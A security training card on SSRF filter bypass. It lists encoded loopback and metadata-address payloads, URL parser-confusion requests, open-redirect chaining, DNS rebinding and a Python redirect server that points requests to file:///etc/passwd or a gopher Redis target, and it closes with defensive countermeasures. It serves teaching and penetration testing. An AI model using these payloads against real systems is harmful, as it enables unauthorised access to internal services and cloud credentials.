SSRF Filter Bypass: IP Encoding, URL Redirection and Parser Confusion for Blocklist Evasion
Theory
Why This Matters
SSRF filter bypass techniques are directly relevant to real-world exploitation because most applications that are aware of SSRF deploy blocklist-based mitigations rather than allowlist-based ones. In 2021, a bug bounty report on a major cloud platform earned a six-figure reward for bypassing an IP blocklist that blocked 127.0.0.1 but not its decimal encoding 2130706433. In 2022, a HackerOne disclosure against a fintech API demonstrated that an open redirect on an allowlisted domain could be chained with SSRF to reach internal metadata endpoints, bypassing a hostname-based allowlist entirely. OWASP A10:2021 (SSRF) explicitly notes that attackers use "alternative IP address representations" and "redirect chains" to bypass filters.
Core Concept
A blocklist-based SSRF filter attempts to prevent requests to sensitive addresses by checking the user-supplied URL against a list of prohibited hosts. These filters almost universally fail because IP addresses and hostnames have many equivalent representations that application-layer string matching cannot enumerate exhaustively.
The decimal IP encoding bypass exploits the fact that operating systems resolve IP addresses in multiple numeric bases. 127.0.0.1 in decimal dotted-quad notation is equivalent to 2130706433 (a single 32-bit integer, computed as 127×2²⁴ + 0×2¹⁶ + 0×2⁸ + 1). Many HTTP client libraries (Python requests, Java URL, PHP file_get_contents) accept decimal notation. A filter checking for the string 127.0.0.1 will not match 2130706433.
Octal notation: 0177.0.0.1 (each octet preceded by 0) — many POSIX-compliant HTTP clients and operating system resolvers accept this. Less well-known than decimal encoding and therefore bypasses more filters.
Hexadecimal notation: 0x7f000001 (the full 32-bit address as a hex literal). Similarly widely accepted.
IPv6 equivalents: ::1 (IPv6 loopback), ::ffff:127.0.0.1 (IPv4-mapped IPv6 address). Applications that apply IPv4 filtering without also filtering IPv6 equivalents are bypassed.
URL confusion bypasses exploit the parsing ambiguity in URLs:
- http://[email protected]/ — the attacker.com part is a username credential in the URL; the actual host is 127.0.0.1. Many filters extract the host by splitting on / or checking a prefix, and see attacker.com rather than the true destination.
- http://127.0.0.1#@allowlisted.com/ — the fragment #@allowlisted.com/ may fool a filter that checks for allowlisted domain suffixes.
Open redirect chaining: if an allowlisted domain (e.g., oauth.example.com) hosts an open redirect (/redirect?url=http://169.254.169.254/...), an attacker registers a webhook URL of https://oauth.example.com/redirect?url=http://169.254.169.254/latest/meta-data/. The filter allows the request (allowlisted domain); the server follows the redirect to the internal address.
302 redirect to restricted scheme: a server that allows http:// URLs but blocks file:// and gopher:// may still follow a 302 redirect from an HTTP URL to a file:// or gopher:// URL if the HTTP client does not restrict redirect target schemes.
Technical Deep-Dive
# Generating all alternative representations of 127.0.0.1
ip = "127.0.0.1"
octets = list(map(int, ip.split(".")))
decimal = (octets[0] << 24) | (octets[1] << 16) | (octets[2] << 8) | octets[3]
print(f"Dotted decimal: {ip}")
print(f"Decimal int: {decimal}") # 2130706433
print(f"Octal: 0{octets[0]:o}.{octets[1]:o}.{octets[2]:o}.{octets[3]:o}")
print(f"Hex: 0x{decimal:08x}") # 0x7f000001
print(f"IPv6 loopback: ::1")
print(f"IPv4-mapped: ::ffff:{ip}")
print(f"IPv6 hex: ::ffff:7f00:0001")
-- URL confusion: username@host confusion
-- Filter sees host = attacker.com (allowlisted); HTTP client resolves 127.0.0.1
GET http://[email protected]/internal-service HTTP/1.1
-- Alternative: URL embedded in path (some parsers use last segment)
GET http://attacker.com/redirect?url=http://127.0.0.1:6379/ HTTP/1.1
-- If attacker.com hosts an open redirect at /redirect, server follows to Redis
# 302 redirect to restricted scheme — attacker-controlled server
# attacker.com/redirect returns:
# HTTP/1.1 302 Found
# Location: file:///etc/passwd
# OR
# Location: gopher://127.0.0.1:6379/_PING
# Test whether the SSRF target follows redirects to file:// or gopher://
import http.server, threading
class RedirectHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
# Change target scheme here:
self.send_header("Location", "file:///etc/passwd")
self.end_headers()
def log_message(self, *args):
pass # suppress logging
server = http.server.HTTPServer(("0.0.0.0", 8080), RedirectHandler)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
print("Redirect server running on :8080")
# Register webhook URL as http://<attacker_ip>:8080/
-- DNS rebinding variant: attacker DNS resolves attacker.com → public IP first
-- On second query (after TTL expires): attacker.com → 127.0.0.1
-- SSRF filter resolves attacker.com to public IP (allowed)
-- Server re-resolves and sends request to 127.0.0.1 (internal)
-- This variant is detailed in the dns-rebinding-simulated card
-- Practical test: use singularity (DNS rebinding tool) or 1u.ms service
-- 1u.ms provides subdomains that resolve to 127.0.0.1:
-- http://127.0.0.1.1u.ms/ → resolves to 127.0.0.1
Security Assessment Methodology
- Confirm baseline SSRF — Establish that the endpoint is vulnerable to SSRF using Burp Collaborator before attempting filter bypass (confirm the server makes outbound requests at all).
- Identify the filter mechanism — Determine whether blocking is by IP string match, DNS-resolved IP check, hostname allowlist, or protocol filter. Use error messages and response patterns to classify the filter type.
- Test decimal / octal / hex IP encodings — Systematically test all alternative representations of
127.0.0.1and169.254.169.254. Note which are blocked and which bypass. - Test IPv6 alternatives — Try
::1,::ffff:127.0.0.1,[::1](bracket notation for URLs). DNS-resolved IPv6AAAArecords may not be subject to IPv4 blocklists. - Test URL confusion payloads — Try
http://[email protected]/,http://127.0.0.1#@allowlisted.com/, and other parser-confusion forms. - Test open redirect chaining — Identify open redirects on allowlisted domains using Google Dorks and common redirect parameter names (
?url=,?redirect=,?next=,?return=). Chain the redirect to an internal address. - Test scheme switching via 302 — Host a redirect server on an attacker-controlled IP, register a webhook to that server, and observe whether the application follows the redirect to
file://orgopher://targets.
Defensive Countermeasure — Replace blocklist-based SSRF filtering with an allowlist of explicitly permitted domains and protocols. Resolve the user-supplied hostname to an IP address at validation time and verify the resolved IP is not in any private, loopback, or link-local range — including IPv6 equivalents. Disable follow-redirect behaviour for SSRF-sensitive HTTP client calls, or at minimum restrict redirect target schemes to
https://with an allowlisted domain. Enforce IMDSv2 on AWS instances and use VPC security groups to block outbound traffic from web-tier instances to the metadata address range.
Common Assessment Errors
- Only testing
127.0.0.1andlocalhost— SSRF filters almost always block these literal strings. The valuable bypass techniques involve decimal encoding, octal, and IPv6 that are commonly missed. - Not testing
169.254.169.254alternatives — The AWS IMDS address has the same alternative encodings: decimal2852039166, hex0xa9fea9fe. These bypass naive string-matching filters. - Missing URL confusion payloads — The
user@hostconfusion and fragment-injection payloads are not covered by standard wordlists; they require manual crafting and understanding of URL parsing semantics. - Stopping after filter identification — Identifying that a blocklist is in use without attempting bypasses understates the severity. Always attempt all bypass categories before concluding a filter is effective.
- Not testing scheme switching — Applications that only test HTTP scheme SSRF miss the redirect-to-file/gopher vector that may enable richer exploitation.
- Confusing DNS rebinding with URL confusion — These are distinct techniques with different prerequisites. DNS rebinding requires controlling DNS TTL and relies on a re-resolution race; URL confusion is a parsing trick that does not involve DNS.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops precise understanding of SSRF filter bypass techniques including IP encoding, URL confusion, and redirect chaining |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers alternative IP representations and their OS-level resolution behaviour |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains systematic bypass enumeration methodology for blocklist-protected SSRF endpoints |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in open redirect chaining and scheme-switching redirects |
| T0028 | Task: Identify systemic security issues based on vulnerability and configuration data | Develops ability to recognise blocklist approaches as systemically bypassable and recommend allowlist-based remediation |
| T0591 | Perform penetration testing | Provides complete SSRF filter bypass methodology from filter classification through bypass confirmation |
Further Reading
- Server-Side Request Forgery — Filter Bypass Techniques — PortSwigger Web Security Academy
- SSRF Bible Cheatsheet — Wallarm Security Research (github.com/swisskyrepo)
- OWASP SSRF Prevention Cheat Sheet — OWASP Foundation
- Blind SSRF Chains — Brett Buerhaus, Security Blog
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.